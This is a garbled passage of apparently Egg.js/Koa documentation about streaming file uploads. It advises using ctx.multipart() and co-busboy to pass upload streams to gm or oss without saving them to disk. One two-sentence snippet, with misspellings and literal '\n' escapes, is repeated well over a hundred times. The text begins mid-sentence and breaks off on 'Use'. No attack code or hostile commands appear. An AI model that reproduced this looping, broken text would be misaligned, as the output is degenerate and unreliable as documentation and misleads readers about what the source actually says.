`ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse [co-busboy](https://github.com/cojs/busboy) to upload file by streaming and process it without save to disk.\n\nJust use `ctx.multipart()` to got file stream, then pass to image processing liberary such as `gm` or upload to cloud storage such as `oss`.\nUse 